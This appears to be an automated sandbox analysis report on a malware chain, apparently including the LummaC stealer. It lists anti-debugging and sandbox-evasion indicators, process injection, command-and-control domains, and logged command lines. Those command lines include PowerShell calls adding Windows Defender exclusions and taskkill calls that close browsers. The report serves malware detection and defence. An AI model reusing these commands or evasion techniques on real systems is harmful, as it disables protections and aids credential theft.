Source: file.exe, 00000000.00000002.1720984505.0000000000DB6000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000000.1671121237.0000000000DB6000.00000080.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000000.1690475731.0000000001096000.00000080.00000001.01000000.00000008.sdmp, skotes.exe, 00000001.00000002.1741949219.0000000001096000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000002.00000000.1698893785.0000000001096000.00000080.00000001.01000000.00000008.sdmp, skotes.exe, 00000002.00000002.1747899419.0000000001096000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000006.00000000.2315087895.0000000001096000.00000080.00000001.01000000.00000008.sdmp, 6f3b41816f.exe, 00000021.00000002.3346263388.0000000000E39000.00000040.00000001.01000000.0000001F.sdmp, 6f3b41816f.exe, 00000021.00000000.3170259918.0000000000E39000.00000080.00000001.01000000.0000001F.sdmp Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 81d22383f9.exe, 0000000C.00000002.2820567838.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, fb22de53cd93474896e72899203b572f.exe, 00000016.00000002.3152798790.0000015C224DB000.00000004.00000020.00020000.00000000.sdmp, bc893816fa.exe, 0000001F.00000003.3126131919.0000000000C0E000.00000004.00000020.00020000.00000000.sdmp, bc893816fa.exe, 0000001F.00000003.3141578569.0000000000C0E000.00000004.00000020.00020000.00000000.sdmp, bc893816fa.exe, 0000001F.00000003.3152874394.0000000000C0E000.00000004.00000020.00020000.00000000.sdmp, bc893816fa.exe, 0000001F.00000003.3105852328.0000000000C0E000.00000004.00000020.00020000.00000000.sdmp, bc893816fa.exe, 0000001F.00000003.3144733399.0000000000C0E000.00000004.00000020.00020000.00000000.sdmp, bc893816fa.exe, 0000001F.00000003.3168885303.0000000000C0E000.00000004.00000020.00020000.00000000.sdmp, bc893816fa.exe, 0000001F.00000003.3132840879.0000000000C0E000.00000004.00000020.00020000.00000000.sdmp, bc893816fa.exe, 0000001F.00000003.3156605158.0000000000C0E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\file.exe System information queried: ModuleInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\file.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Thread information set: HideFromDebugger
Tries to detect sandboxes and other dynamic analysis tools (window names)
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Open window title or class name: file monitor - sysinternals: www.sysinternals.com
Checks for debuggers (devices)
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe File opened: SIWVID
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Process queried: DebugPort
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_04990CDA rdtsc 0_2_04990CDA
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Code function: 9_2_002D5020 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 9_2_002D5020
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00BF652B mov eax, dword ptr fs:[00000030h] 0_2_00BF652B
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00BFA302 mov eax, dword ptr fs:[00000030h] 0_2_00BFA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 1_2_00EDA302 mov eax, dword ptr fs:[00000030h] 1_2_00EDA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 1_2_00ED652B mov eax, dword ptr fs:[00000030h] 1_2_00ED652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_2_00EDA302 mov eax, dword ptr fs:[00000030h] 2_2_00EDA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_2_00ED652B mov eax, dword ptr fs:[00000030h] 2_2_00ED652B
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Code function: 9_2_002F519E mov edi, dword ptr fs:[00000030h] 9_2_002F519E
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Code function: 9_2_002D1614 mov edi, dword ptr fs:[00000030h] 9_2_002D1614
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Code function: 9_2_002DFE2C GetProcessHeap, 9_2_002DFE2C
Enables debug privileges
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Code function: 9_2_002D5020 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 9_2_002D5020
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Code function: 9_2_002D5014 SetUnhandledExceptionFilter, 9_2_002D5014
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Code function: 9_2_002D4C64 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 9_2_002D4C64
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Code function: 9_2_002DB4B9 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 9_2_002DB4B9
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion
barindex
Yara detected Powershell download and execute
Source: Yara match File source: Process Memory Space: 81d22383f9.exe PID: 7712, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: bb31c9d4a53941b6b913f33980d23feb.exe PID: 2792, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: d0e32932f8.exe PID: 6672, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: d0e32932f8.exe PID: 7728, type: MEMORYSTR
Adds a directory exclusion to Windows Defender
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\agfznulwo"
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\agfznulwo"
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"
Contains functionality to inject code into remote processes
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Code function: 9_2_002F519E GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread, 9_2_002F519E
Injects a PE file into a foreign processes
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Memory written: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe base: 400000 value starts with: 4D5A Jump to behavior
LummaC encrypted strings found
Source: 85746525a0.exe, 00000009.00000002.2559681512.0000000000B3D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: rapeflowwj.lat
Source: 85746525a0.exe, 00000009.00000002.2559681512.0000000000B3D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: crosshuaht.lat
Source: 85746525a0.exe, 00000009.00000002.2559681512.0000000000B3D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: sustainskelet.lat
Source: 85746525a0.exe, 00000009.00000002.2559681512.0000000000B3D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: aspecteirs.lat
Source: 85746525a0.exe, 00000009.00000002.2559681512.0000000000B3D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: energyaffai.lat
Source: 85746525a0.exe, 00000009.00000002.2559681512.0000000000B3D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: necklacebudi.lat
Source: 85746525a0.exe, 00000009.00000002.2559681512.0000000000B3D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: discokeyus.lat
Source: 85746525a0.exe, 00000009.00000002.2559681512.0000000000B3D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: grannyejh.lat
Source: 85746525a0.exe, 00000009.00000002.2559681512.0000000000B3D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: pancakedipyps.click
Source: ed7d415177.exe, 00000018.00000003.2933368329.0000000004920000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: sweepyribs.lat
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019663001\a2870b1ac5.exe "C:\Users\user\AppData\Local\Temp\1019663001\a2870b1ac5.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe "C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe "C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe "C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe "C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe "C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe "C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019672001\bc893816fa.exe "C:\Users\user\AppData\Local\Temp\1019672001\bc893816fa.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe "C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019674001\fdd59fd4bc.exe "C:\Users\user\AppData\Local\Temp\1019674001\fdd59fd4bc.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe "C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Process created: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe "C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\agfznulwo"
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process created: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe "C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe"
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process created: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe "C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe"
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019674001\fdd59fd4bc.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\mode.com mode 65,10
Source: C:\Windows\System32\cmd.exe Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe Process created: unknown unknown
Uses taskkill to terminate processes
Source: C:\Users\user\AppData\Local\Temp\1019672001\bc893816fa.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1019672001\bc893816fa.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1019672001\bc893816fa.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1019672001\bc893816fa.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1019672001\bc893816fa.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1019672001\bc893816fa.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: bc893816fa.exe, 0000001F.00000000.3065867664.0000000000A62000.00000002.00000001.01000000.0000001E.sdmp, bc893816fa.exe, 00000031.00000000.3263758575.0000000000A62000.00000002.00000001.01000000.0000001E.sdmp Binary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: file.exe, 00000000.00000002.1721301049.0000000000DF9000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1742249608.00000000010D9000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000002.00000002.1748291851.00000000010D9000.00000040.00000001.01000000.00000008.sdmp Binary or memory string: oDN#zProgram Manager
Source: skotes.exe, skotes.exe, 00000002.00000002.1748291851.00000000010D9000.00000040.00000001.01000000.00000008.sdmp Binary or memory string: DN#zProgram Manager
Contains functionality to query locales information (e.g. system language)
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Code function: EnumSystemLocalesW, 9_2_002E3086
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Code function: GetLocaleInfoW, 9_2_002E30D1
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP, 9_2_002E3178
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Code function: GetLocaleInfoW, 9_2_002DF21C
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW, 9_2_002E2A13
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Code function: GetLocaleInfoW, 9_2_002E327E
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Code function: EnumSystemLocalesW, 9_2_002E2C64
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW, 9_2_002E2CFF
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Code function: EnumSystemLocalesW, 9_2_002DF717
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Code function: EnumSystemLocalesW, 9_2_002E2F52
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Code function: GetLocaleInfoW, 9_2_002E2FB1
Queries information about the installed CPU (vendor, model number etc)
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019663001\a2870b1ac5.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019663001\a2870b1ac5.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe VolumeInformation Jump to behavior
